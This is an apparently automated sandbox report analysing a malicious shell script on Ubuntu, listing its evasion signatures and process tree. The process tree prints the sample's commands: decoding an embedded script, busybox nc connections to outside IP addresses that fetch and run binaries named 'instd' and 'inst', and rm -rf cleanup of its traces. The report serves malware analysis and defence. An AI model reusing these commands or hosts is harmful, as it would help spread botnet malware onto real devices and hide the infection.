Overview

overview

7

Static

static

1

a94f8a0485...end.sh

ubuntu-18.04-amd64

7

a94f8a0485...end.sh

debian-9-armhf

7

a94f8a0485...end.sh

debian-9-mips

7

a94f8a0485...end.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    0s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/09/2026, 17:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
  • Size 832KB
  • Sample260913-wa8cza1bme
  • SHA256 329c5098ba38ed3103e78e687f55a1265b18706d8483a6a91bde0eed8c3a01f5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
    /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
    1⤵
      PID:1475
    • /usr/local/sbin/bash
      bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
      1⤵
        PID:1475
      • /usr/local/bin/bash
        bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
        1⤵
          PID:1475
        • /usr/sbin/bash
          bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
          1⤵
            PID:1475
          • /usr/bin/bash
            bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
            1⤵
              PID:1475
            • /sbin/bash
              bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
              1⤵
                PID:1475
              • /bin/bash
                bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
                1⤵
                • Writes file to tmp directory
                PID:1475
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:1476
                  • /usr/bin/base64
                    base64 -d
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:1478
                  • /usr/bin/python3
                    python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
                    2⤵
                      PID:1479
                    • /bin/chmod
                      chmod +x /tmp/tmp.Yn7fwS8q44/embedded.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1482
                  • /bin/bash
                    bash /tmp/tmp.Yn7fwS8q44/embedded.sh
                    1⤵
                    • Executes dropped EXE
                    • Writes file to tmp directory
                    PID:1475
                    • /bin/rm
                      rm -rf me.apk help
                      2⤵
                        PID:1483
                      • /bin/busybox
                        busybox nc 160.22.79.29 443
                        2⤵
                          PID:1485
                        • /bin/busybox
                          busybox nc 192.206.117.19 443
                          2⤵
                            PID:1495
                          • /bin/chmod
                            chmod 777 instd
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1496
                          • /tmp/instd
                            ./instd massload
                            2⤵
                              PID:1497
                            • /bin/busybox
                              busybox nc 160.22.79.29 6767
                              2⤵
                                PID:1500
                              • /bin/chmod
                                chmod 777 inst
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1507
                              • /tmp/inst
                                ./inst gponfiber
                                2⤵
                                  PID:1508
                                • /bin/rm
                                  rm -rf a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh config-err-cnBtA3 inst instd me.apk netplan_wkh6ex4n snap-private-tmp ssh-LcmysK1IPupJ systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-bolt.service-yl7cF0 systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-colord.service-Th6Jj9 systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-ModemManager.service-X3yfQb systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-systemd-resolved.service-OVUO3l systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-systemd-timedated.service-bMlykz tmp.Yn7fwS8q44
                                  2⤵
                                    PID:1518

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      embedded.sh
                                      • Path /tmp/tmp.Yn7fwS8q44/embedded.sh
                                      • Size 972B
                                      • SHA256 a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download